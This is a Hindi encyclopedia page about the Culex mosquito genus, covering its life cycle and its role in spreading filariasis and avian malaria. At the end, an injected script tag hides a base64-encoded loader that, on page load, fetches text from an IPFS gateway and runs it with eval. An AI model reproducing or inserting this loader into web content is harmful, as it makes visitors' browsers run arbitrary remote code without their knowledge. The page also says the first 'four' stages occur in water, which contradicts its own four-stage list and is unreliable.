क्यूलेक्स
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 12:07, 31 मार्च 2015 का अवतरण
क्यूलेक्स (अंग्रेज़ी: Culex) मच्छरों का एक वंश है। 'फाइलोरियोसिस' (फील पाँव) नामक गम्भीर रोग इसी मच्छर के कारण फैलता है।
- सभी मच्छरों की तरह ही क्यूलेक्स के जीवन चक्र की चार अवस्थाएं होती हैं-
- अण्डा
- लारवा
- प्यूपा
- वयस्कता
- क्यूलेक्स मच्छर की पहली चार अवस्थाएं जल के अंदर पूरी होती हैं। यह कई महत्वपूर्ण रोंगो, जैसे- फाईलेरिया तथा पक्षियों में होने वाले मलेरिया का वाहक है।
- फाइलेरिया जानलेवा बीमारी नहीं है, लेकिन इससे पीड़ित व्यक्ति समाज में उठने-बैठने के दौरान जीते हुए भी घुटते रहते है। इस रोग से ग्रसित व्यक्ति का पैर हाथी के पाँव की तरह हो जाता है। इस रोग का संवाहक मच्छरों के होने से इसे संक्रामक का दर्जा दिया गया है।
- गर्मियों में मच्छरों की तादाद बढ़ने के साथ ही क्यूलेक्स मच्छर भी पनपने लगता है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>